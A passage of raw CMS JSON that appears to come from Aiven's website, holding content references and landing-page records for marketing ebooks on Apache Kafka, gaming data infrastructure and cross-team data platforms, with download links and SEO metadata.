"_key":"66458c00f806","_ref":"a805fc64-97e5-4ebb-be4b-f38acc3d120a","_type":"reference"},{"_key":"608bdfcc407e","_ref":"c3ab2505-a645-4287-b6ed-9c21da6bd5ad","_type":"reference"},{"_key":"02ebf23169a5","_ref":"e6817421-c437-4418-84f1-5e7b2e7316ec","_type":"reference"},{"_key":"d2f9152c38e2","_ref":"69e251ce-e453-4bd3-b63c-f370a8049c99","_type":"reference"},{"_key":"944150a347cd","_ref":"157a86e4-936d-4acc-b588-a41b89490757","_type":"reference"},{"_key":"6800fe82d03d","_ref":"3ee4666d-051a-4272-97c4-fc06ecb24a7f","_type":"reference"},{"_key":"f6b80907589e","_ref":"8cd1db4f-09d5-4304-ac9d-17a45e245443","_type":"reference"},{"_key":"dcc558271132","_ref":"2be28729-4def-449a-baf7-32075c1d1a3c","_type":"reference"},{"_key":"e9387befbca7","_ref":"58572ef0-41fe-40ca-a5c0-3a575f2b1f22","_type":"reference"},{"_key":"29b26fad11c4","_ref":"ed8b9841-67f6-4c07-b900-1cba00772988","_type":"reference"},{"_key":"18d674f3c2c6","_ref":"1deacb57-5350-42fb-a996-d7a97e3fe952","_type":"reference"},{"_key":"e9c57cef78a0","_ref":"68b5a2b5-bd28-41ff-94a1-40a0f7906824","_type":"reference"},{"_key":"d5c6b59bc19d","_ref":"d2c78cf6-3911-461a-a4cc-e1c5c17a6ee2","_type":"reference"},{"_key":"6b45524a82b4","_ref":"0611d85a-b179-458c-9335-06fc4b7d04a8","_type":"reference"},{"_key":"000d3c767300","_ref":"b689c57e-cc99-4280-a47b-c09d0078261a","_type":"reference"},{"_key":"4f9fcaa93ee3","_ref":"8ad54905-0ff3-430c-acc1-47d9d33da5dd","_type":"reference"},{"_key":"2e2a7fe8ae1f","_ref":"8632d5ff-2010-4184-8ebf-ff5453341221","_type":"reference"},{"_key":"f3f89ffd6a91","_ref":"f5348af1-c12a-49bd-bcb7-874feeccf2fe","_type":"reference"},{"_key":"05231b4d158e","_ref":"9773597d-4879-4f5a-8f40-6d5d5d4dd4c7","_type":"reference"},{"_key":"0d44f4349515","_ref":"122da210-1dd5-4088-8314-6525497faae5","_type":"reference"}],"name":"Common"} {"_createdAt":"2023-03-17T13:47:09Z","_id":"a227c8b8-36ce-4615-b06f-6b8cd801b355","_rev":"Ih2kuAPAt2qu3zuk15fj5Y","_type":"dictionary","_updatedAt":"2024-04-29T13:49:25Z","fields":[{"_key":"81389516d6ea","_ref":"101eb8c6-78f0-46e5-b8f4-a93e946e0621","_type":"reference"},{"_key":"dee0598157cf","_ref":"4cf295e4-3a05-4c23-91f0-a04d7f71f681","_type":"reference"},{"_key":"d7d88f22044c","_ref":"7b794962-5db2-4511-8c7e-72d45f384ab4","_type":"reference"},{"_key":"b6e405e28bcd","_ref":"ed17870a-f50a-4d79-a275-fda085461f64","_type":"reference"},{"_key":"d3ab849ea05c","_ref":"5231f97e-d589-40c7-898f-5cc6d77e6daf","_type":"reference"},{"_key":"ff6ae2a63385","_ref":"0289b1e6-9e3a-4c51-8343-9fa3b0cb6718","_type":"reference"},{"_key":"793860267020","_ref":"908db368-6d72-43ab-b7c4-2b3ded081634","_type":"reference"},{"_key":"e2bd47df533d","_ref":"62027987-090a-4131-8a06-729d6bbed016","_type":"reference"},{"_key":"3dcccb4ce0f7","_ref":"7c436344-14ff-4c05-b586-28157483fa59","_type":"reference"},{"_key":"e155a5bd2acc","_ref":"4be1d6ce-916d-43fb-bd88-63489169ca6a","_type":"reference"},{"_key":"b45a5ecf4f61","_ref":"fbe7e42c-4b2d-4b43-8a8a-f77070ddbeda","_type":"reference"},{"_key":"a4b0f03e21a6","_ref":"aa7183da-0431-4baf-a7fe-d3d108e17b61","_type":"reference"},{"_key":"ddc049b9dfa6","_ref":"dfe9623b-7a86-4a63-b161-407b23988d82","_type":"reference"},{"_key":"049fc9b179af","_ref":"cdb511b6-4849-486d-9d17-8be402c17f86","_type":"reference"},{"_key":"5f0281ad107d","_ref":"59737f8c-6b27-4a64-a338-31a4a1363e0e","_type":"reference"},{"_key":"4178fae5f98d","_ref":"c12ba409-8962-4999-a8f4-0908e2d73e07","_type":"reference"},{"_key":"f1e6e4f271e4","_ref":"f4dced79-2e8c-4472-b8b8-a259a5a1401c","_type":"reference"},{"_key":"90405eb06473","_ref":"f5b11ed5-0b16-4584-85a5-e4b0e16a6a07","_type":"reference"},{"_key":"f14963b76520","_ref":"c8bb1f91-7cd4-4ee9-af39-9e7ea4bba615","_type":"reference"},{"_key":"8ad56660fd0f","_ref":"b6d30fdc-49a4-42d9-a5c0-93058b6ce5b3","_type":"reference"},{"_key":"25b34017bb9d","_ref":"182acdf8-07cf-4def-9b47-d46917e589df","_type":"reference"},{"_key":"3eadc8960b0d","_ref":"f5d94af4-3773-4697-a9ff-b774021521a5","_type":"reference"},{"_key":"ccb90c4ec330","_ref":"807d27f0-b41b-4022-bb00-80d6eef4ceec","_type":"reference"},{"_key":"7f93c6ea049f","_ref":"1f55dffd-a9e8-4d86-9f1e-9263e3731bb6","_type":"reference"},{"_key":"6d4b8bcb3e53","_ref":"9f0e510f-f33d-4ea9-8c1e-7f63dcb4dba2","_type":"reference"},{"_key":"b5ca7e05fd2f","_ref":"15a9828f-5d84-459d-a37c-e7768e5bd1fc","_type":"reference"},{"_key":"d521e2c7fa4a","_ref":"3f36737c-f507-4daf-9b7b-bd998f6db4c9","_type":"reference"},{"_key":"4e3151c44229","_ref":"d0d6156e-6212-4efb-a564-b3f4d116ceca","_type":"reference"},{"_key":"c21bd0b66057","_ref":"7f37d851-c3ed-48af-90f9-18ba397f18f9","_type":"reference"},{"_key":"c3276951d5d3","_ref":"dcea7c18-82dc-45ef-b5d6-0c7eb3eb9666","_type":"reference"},{"_key":"1966040ad068","_ref":"bc36b98b-e77c-4507-bd4a-a36eeae7e19a","_type":"reference"},{"_key":"96cd727e93b9","_ref":"b38253b0-e98c-463e-a400-8ea93cce3a16","_type":"reference"},{"_key":"e2c69328d817","_ref":"f2ff4a30-4901-48cf-b5a3-9a62f9fe0e5e","_type":"reference"},{"_key":"6190a0a1e892","_ref":"5e57817c-cea8-4469-8a1a-f42c7e70aa70","_type":"reference"},{"_key":"17595bc606af","_ref":"c8a61280-7351-44a5-8f98-0b21517f3b9c","_type":"reference"},{"_key":"c31455588f1d","_ref":"87e1460d-8ca7-4be5-bf0c-cbfac2091665","_type":"reference"},{"_key":"836e57587254","_ref":"cd496fe2-63ec-4afd-ab00-affde22d5520","_type":"reference"},{"_key":"e5b1cd7b7746","_ref":"f031c497-1c6e-4529-990c-a753b7f0f128","_type":"reference"},{"_key":"0ed5b4174b7a","_ref":"4e5d8fd2-2356-4736-a248-a191e45bb71e","_type":"reference"},{"_key":"df9ab3c2053a","_ref":"f66df399-29d5-4a7d-858d-da081b0001fb","_type":"reference"},{"_key":"796fe5098ba0","_ref":"58572ef0-41fe-40ca-a5c0-3a575f2b1f22","_type":"reference"}],"name":"Pricing"} {"__i18n_lang":"en","_createdAt":"2023-01-09T11:40:43Z","_id":"10841328-bc1c-4ba7-bb22-dddd73ccc0b4","_rev":"ZLvKaZvfbZlWBlGcp2bEFi","_type":"ebook","_updatedAt":"2024-01-22T12:15:28Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"d6b0479cfe39","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"ca2d49a22276","_ref":"d8f581eb-471c-439e-a87b-b7596812f19d","_type":"reference"},{"_key":"c85552043faa","_ref":"c6ce98ee-1e41-4e2b-878d-6702e1226dd3","_type":"reference"},{"_key":"41fa5cc500f2","_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/Apache_Kafka_for_tech_leaders","downloadText":"Download e-book","image":{"_type":"mainImage","asset":{"_ref":"image-90c956ce47d5953a0b2ea660eb43bbcc032c83d6-1200x745-png","_type":"reference"}},"registerForm":{"iframeHeight":820,"iframeSource":"https://go.aiven.io/l/890043/2022-11-10/llgwq","iframeTitle":"Ebook Apache Kafka® for tech leaders","title":"Get a download link to this ebook direct to your inbox"},"subtitle":[{"_key":"27cd6034e073","_type":"block","children":[{"_key":"a43fb7da10b10","_type":"span","marks":[],"text":"Modern companies are moving away from outdated, delayed insights - often based on yesterday’s data - and into real-time processing and analytics. Technologies like Apache Kafka have become the "},{"_key":"a43fb7da10b11","_type":"span","marks":["em"],"text":"de facto"},{"_key":"a43fb7da10b12","_type":"span","marks":[],"text":" system to support tech teams in this transition."}],"markDefs":[],"style":"normal"},{"_key":"b1dae261cc41","_type":"block","children":[{"_key":"144b9390e2e2","_type":"span","marks":[],"text":"In this e-book, we offer an overview of Apache Kafka: what it is, and how tech organizations can use it to enable real-time data and actionable information ‘in flight’."}],"markDefs":[],"style":"normal"},{"_key":"5cd099177380","_type":"block","children":[{"_key":"6bd2cc5b575e","_type":"span","marks":[],"text":"Download our e-book to learn:"}],"markDefs":[],"style":"normal"},{"_key":"4f89e8b8f6b6","_type":"block","children":[{"_key":"511566d22e460","_type":"span","marks":[],"text":"The origins and the future of event streaming"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cc65c363e92c","_type":"block","children":[{"_key":"736d79097c1d0","_type":"span","marks":[],"text":"The benefits of managed microservices for your teams and business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4410fd78467f","_type":"block","children":[{"_key":"c54f8e5ccc960","_type":"span","marks":[],"text":"Apache Kafka®, its extended ecosystem, and how it can work for you"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"In this e-book, we offer an overview of Apache Kafka: what it is, and how tech organizations can use it to enable real-time data and actionable information ‘in flight’.","thankyouContent":[{"_key":"c431c085938a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"subtitle":[{"_key":"a0c70be76d64","_type":"block","children":[{"_key":"a96102d71c5f0","_type":"span","marks":[],"text":"A download link to the ebook is on its way to your inbox. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"},{"_key":"35e2e16733e8","_type":"block","children":[{"_key":"4382262eb2910","_type":"span","marks":[],"text":"And if you have more questions around Apache Kafka and how it can fit in your tech stack, why not book a demo with our friendly team?"}],"markDefs":[],"style":"normal"}],"title":"Thanks for your interest in Apache Kafka® for tech leaders!","variant":"oneColumn"}],"title":"Apache Kafka® for tech leaders"},"publishedAt":"2022-12-01T11:36:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"4cab3cdceaa3","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"487610aac9ba","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Data is a dish best served hot. You don’t want to be a day late, reporting on yesterday’s info, and twiddling your thumbs waiting for the next shoe to drop. Find out how Apache Kafka can help.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-eb595387b210e3121a4fc505dd9ae7321b05552d-1200x630-jpg","_type":"reference"}},"metaTitle":"Apache Kafka® for tech leaders | Aiven"},"slug":{"_type":"slug","current":"/ebook/apache-kafka-for-tech-leaders"}} {"__i18n_lang":"en","_createdAt":"2023-12-14T14:20:49Z","_id":"89708662-d212-453f-9dda-5fbeef9dafc5","_rev":"E2EqFgH2t2FE0P1F1szuGf","_type":"ebook","_updatedAt":"2024-02-27T19:45:57Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"906e39d95703","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"7b2d24780469","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ab085d541ffda89ec1fd230558a3d8838204a851-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"c50c45793fa4","_type":"block","children":[{"_key":"5213f30f60300","_type":"span","marks":[],"text":"Find out how major studios monitor the health of their gaming environments to handle huge spikes in players during multi-million-dollar launch events."}],"markDefs":[],"style":"normal"}],"title":"Automate your gaming infra"},{"_key":"0789cbbe1d41","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"47cc1f7333ef","_type":"block","children":[{"_key":"ad5aa8b8d7220","_type":"span","marks":[],"text":"The best gaming companies continuously learn from their player base and optimize games on the fly. Discover what data infrastructure they use to support this."}],"markDefs":[],"style":"normal"}],"title":"Tactical tweaks for better gameplay"},{"_key":"611c94790bdb","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"87024c308f4f","_type":"block","children":[{"_key":"121255b7ddf50","_type":"span","marks":[],"text":"Learn how gaming companies are borrowing techniques from e-commerce to better understand their gamers and deliver incredible experiences."}],"markDefs":[],"style":"normal"}],"title":"Data-driven design strategies"},{"_key":"12152a073dad","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"18582a6a9e25","_type":"block","children":[{"_key":"be06418a932a0","_type":"span","marks":[],"text":"We don’t think gaming companies need to become experts in running the data pipelines their online games need. Find out how a managed open-source platform lets them concentrate on making great games instead."}],"markDefs":[],"style":"normal"}],"title":"The secret sauce"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Make better games with better data"},{"_key":"1cc2198c4dea","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"b9eb9b9a0427","_type":"numberItem","description":[{"_key":"47918bd75ffd","_type":"block","children":[{"_key":"be9104450c31","_type":"span","marks":[],"text":"uptime"}],"markDefs":[],"style":"normal"}],"number":"99.99%"},{"_key":"6c7ddb1eec4e","_type":"numberItem","description":[{"_key":"eb077e1bc9e6","_type":"block","children":[{"_key":"eaac345dc4900","_type":"span","marks":[],"text":"return on investment over 3 years"}],"markDefs":[],"style":"normal"}],"number":"340%"},{"_key":"38098f29e5eb","_type":"numberItem","description":[{"_key":"6dc9c62ed55b","_type":"block","children":[{"_key":"8203c43bb0fb0","_type":"span","marks":[],"text":"more productive developers"}],"markDefs":[],"style":"normal"}],"number":"13%"}],"roundedCorners":"rounded-none","title":"Insights snapshot"}],"contentIsGated":true,"downloadText":"Download","registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2023-12-14/tdz84","title":"Get Your Game-Changing E-book"},"registrationType":"iframe","subtitle":[{"_key":"f8c0eb92f437","_type":"block","children":[{"_key":"d024e4c8154a0","_type":"span","marks":[],"text":"Your guide to creating better games with better data"}],"markDefs":[],"style":"h5"},{"_key":"20571da8f3ca","_type":"block","children":[{"_key":"7a65424d9f060","_type":"span","marks":[],"text":"Game companies are experts at creating amazing online titles. But they often run them using technology that’s not kept pace with the market. By working with studios, developers, and publishers, we have identified three ways to unlock decision-making power with better data."}],"markDefs":[],"style":"normal"},{"_key":"85083a178089","_type":"block","children":[{"_key":"70ad43fffdcf0","_type":"span","marks":[],"text":"Download this free guide to discover:"}],"markDefs":[],"style":"normal"},{"_key":"0d339897eb0a","_type":"block","children":[{"_key":"94286bf992e90","_type":"span","marks":[],"text":"How to "},{"_key":"4fb93ae6253f","_type":"span","marks":["strong"],"text":"automate the operational stuff"},{"_key":"3eee6fca87d4","_type":"span","marks":[],"text":" so your games can handle millions of players and still perform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df72ff5ab4fd","_type":"block","children":[{"_key":"971260060694","_type":"span","marks":[],"text":"How to make "},{"_key":"481abc2e2138","_type":"span","marks":["strong"],"text":"tactical tweaks to gameplay"},{"_key":"d9c7739b5e73","_type":"span","marks":[],"text":" based on robust player profiles."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"497fdb628caf","_type":"block","children":[{"_key":"3cb90736238a","_type":"span","marks":[],"text":"How to use game and gamer data to "},{"_key":"bafd69073315","_type":"span","marks":["strong"],"text":"make strategic decisions"},{"_key":"050053d8f901","_type":"span","marks":[],"text":" around design and monetization."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Unlock gaming success: Learn to automate ops, optimize gameplay, and make strategic decisions with better data. Download our free guide now!","thankyouContent":[{"_key":"ef69f6f065f9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/gaming-ebook","title":"Download ebook"},"roundedCorners":"rounded-none","subtitle":[{"_key":"31bc3fad3ee2","_type":"block","children":[{"_key":"a328f81dfd77","_type":"span","marks":[],"text":"You can download the ebook "},{"_key":"bb67dc02b80d","_type":"span","marks":["strong"],"text":"Unlock 3 levels of awesome "},{"_key":"b8a74d31955c","_type":"span","marks":[],"text":"by clicking the 'Download ebook' button below. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"}],"title":"Thanks for your interest!","variant":"oneColumn"},{"_key":"330e7c48b817","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"e57743926742","_type":"testimonialItem","content":[{"_key":"f86fb7c5d407","_type":"block","children":[{"_key":"a0a1a5fd74a10","_type":"span","marks":[],"text":"Take a high-level look at the different ways Aiven solutions can benefit tech leaders to thrive."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-12d269d038c92d5a1ed8ee100485a5f4a8831ded-1200x628-jpg","_type":"reference"}}},{"_key":"eeb8591998f6","_type":"testimonialItem","content":[{"_key":"e68cb2b245fd","_type":"block","children":[{"_key":"4500de903fd20","_type":"span","marks":[],"text":"The Aiven Platform is more than a collection of open source services for streaming, storing and analyzing data. The platform ensures that all services run reliably and securely in the clouds of your choice, are observable, and can easily be integrated with each other and with external 3rd party tools."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}}},{"_key":"c02740f621f2","_type":"testimonialItem","content":[{"_key":"90afcafe29ec","_type":"block","children":[{"_key":"3813eb93e2a00","_type":"span","marks":[],"text":"Unlock the power of managed open source databases\nTransform your business and save precious time with our 30-minute live demo, tailored to your specific needs."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-74e2afc363049dbcaf4c654818c4e12718cc0fcd-1200x630-jpg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"title":"Related content","variant":"default"}],"title":"Unlock 3 levels of awesome"},"publishedAt":"2023-12-14T13:01:58.638Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[]},"seo":{"_type":"metaData","metaDescription":"Download our free e-book and gain insights into game optimization, player profiles, and design strategies for success in the gaming industry.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1503a9894340d46761abdd95896be293cc70b2ec-2250x1178-png","_type":"reference"}},"metaTitle":"Unlock 3 levels of awesome"},"slug":{"_type":"slug","current":"/ebook/unlock-3levels-of-awesome"}} {"__i18n_lang":"en","_createdAt":"2023-12-11T17:15:01Z","_id":"05394006-b994-414e-80bd-5b5d3e05885d","_rev":"E2EqFgH2t2FE0P1F1szre5","_type":"ebook","_updatedAt":"2024-02-27T19:45:25Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"f50f24fc1b94","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"f67ebdeb7ea6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"00eea1be4956","_type":"block","children":[{"_key":"372faa55fc4a0","_type":"span","marks":[],"text":"See how powerful observability tools allow a real-time view of your environments so you can keep them running at peak performance."}],"markDefs":[],"style":"normal"}],"title":"Simplified infrastructure management "},{"_key":"d19a62e4b9a03a2953fe91d10762c5af","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"17140dee3bc3","_type":"block","children":[{"_key":"39b9933a4ca20","_type":"span","marks":[],"text":"Learn how to make data-driven decisions without worrying about managing the underlying pipelines."}],"markDefs":[],"style":"normal"}],"title":"Real-time insights "},{"_key":"de685e1bee0d023964d08cd5f57eb3f8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"597511cefe57","_type":"block","children":[{"_key":"0754c8d8248b0","_type":"span","marks":[],"text":"See how a unified data platform can deliver more customer insights and encourage faster development cycles."}],"markDefs":[],"style":"normal"}],"title":"Build better products "}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"All your team leads, working better together "}],"contentIsGated":true,"downloadLink":"https://go.aiven.io/transformation_with_cloud_data_platform_ebook","downloadText":"Download ebook","registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2023-12-18/tf79v","title":"Discover how a single cloud data platform can help your critical teams master their challenges."},"registrationType":"iframe","subtitle":[{"_key":"99cea811251b","_type":"block","children":[{"_key":"0f0edbe76bb80","_type":"span","marks":[],"text":"Cloud-native companies can sometimes feel overwhelmed by conflicting priorities."}],"markDefs":[],"style":"normal"},{"_key":"24edc08fb964","_type":"block","children":[{"_key":"4cd5176b7f770","_type":"span","marks":[],"text":"Should they focus on building a more stable, scalable infrastructure to handle growth? Should they focus on analytics to gain a better understanding of their business? Or should they go all-in on product, adding new features to make it more competitive?"}],"markDefs":[],"style":"normal"},{"_key":"4e5c9a9490db","_type":"block","children":[{"_key":"8578234789290","_type":"span","marks":[],"text":"We think customers shouldn’t have to prioritise one of these at the expense of others."}],"markDefs":[],"style":"normal"},{"_key":"2fb532f71a50","_type":"block","children":[{"_key":"543bad82268f0","_type":"span","marks":[],"text":"In this e-book, we show how a "},{"_key":"543bad82268f1","_type":"span","marks":["strong"],"text":"single"},{"_key":"543bad82268f2","_type":"span","marks":[],"text":" open-source data platform can leave the chief technology, data, and product officers smiling "},{"_key":"543bad82268f3","_type":"span","marks":["strong"],"text":"and"},{"_key":"543bad82268f4","_type":"span","marks":[],"text":" help the business focus on what it does best."}],"markDefs":[],"style":"normal"},{"_key":"73929cb05738","_type":"block","children":[{"_key":"99a7d08720430","_type":"span","marks":[],"text":"Download the free guide now to learn:"}],"markDefs":[],"style":"normal"},{"_key":"6b127d100003","_type":"block","children":[{"_key":"a8916ecafbbb0","_type":"span","marks":[],"text":"How the chief technology officer can ensure a robust, scalable infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ac707e74490e","_type":"block","children":[{"_key":"040dfd4e6b690","_type":"span","marks":[],"text":"How the chief data officer can get faster insights for the business."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1a40df9e1ad4","_type":"block","children":[{"_key":"e2c7d98a5a8c0","_type":"span","marks":[],"text":"How the chief product officer can ship products that stand out from the competition."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Explore how a single data platform in the cloud can help each one of these leaders reach their goals and help the business run better overall. ","thankyouContent":[{"_key":"e98a51eb3f42","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/digital-natives-ebook","title":"Download ebook"},"rounded":false,"subtitle":[{"_key":"75282775ea2e","_type":"block","children":[{"_key":"29e35ea808e4","_type":"span","marks":[],"text":"You can download the ebook "},{"_key":"8d08b5e0fa13","_type":"span","marks":["strong"],"text":"One For All: How Tech, Data, And Product Leads Can Work Better Together "},{"_key":"7a6687e5a4d9","_type":"span","marks":[],"text":"by clicking the 'Download ebook' button below. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"}],"title":"Thanks for your interest!","variant":"oneColumn"}],"title":"One For All: How Tech, Data, and Product Leaders Can Work Better Together"},"publishedAt":"2023-12-18T12:57:35.980Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"7a949bc709e3","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"487b9048e08f","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"33cb53e2fa53","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore how a single data platform in the cloud can help each one of your leaders reach their goals and help the business run better overall. ","metaImage":{"_type":"mainImage","alt":"One for all ebook","asset":{"_ref":"image-6d9c200c06b620bade5c0b8e65bdf0e591be20dc-1200x628-png","_type":"reference"}},"metaTitle":"How Tech, Data, and Product Leaders Can Work Better Together"},"slug":{"_type":"slug","current":"/ebook/one-for-all"}} {"__i18n_lang":"en","_createdAt":"2024-05-20T19:39:17Z","_id":"072fbfe2-007b-47a3-b574-d4cc8be52fdb","_rev":"6bYZdDBH1WRdHtSvjHHb7Q","_type":"ebook","_updatedAt":"2024-06-19T15:34:58Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"ce53259812b9","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"39675c2b7c92","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Tools icon","asset":{"_ref":"image-768c17ceae0ca0a57fc6d49e539167b8bc44850f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"10b1e21746c2","_type":"block","children":[{"_key":"19de6c5a59110","_type":"span","marks":[],"text":"Do you already have resources on staff that understand real-time environments and event-driven architecture?"}],"markDefs":[],"style":"normal"},{"_key":"9323999ed0f2","_type":"block","children":[{"_key":"7afe1a1270530","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Skill set"},{"_key":"e5fd42a3055f","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Rocket icon","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"26f6c7b55482","_type":"block","children":[{"_key":"e8064a71ce840","_type":"span","marks":[],"text":"Can you afford the time to go through the try-fail-learn-try-again loop vs. bringing in an experienced vendor?"}],"markDefs":[],"style":"normal"},{"_key":"a0a98fa383c2","_type":"block","children":[{"_key":"ce584cf3f0d60","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Time to market"},{"_key":"562dbe49b90a","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Arrows icon","asset":{"_ref":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2f3444479ce5","_type":"block","children":[{"_key":"d030728a3ede0","_type":"span","marks":[],"text":"How do you balance growing technical skills and delayed time to market vs. proven vendor 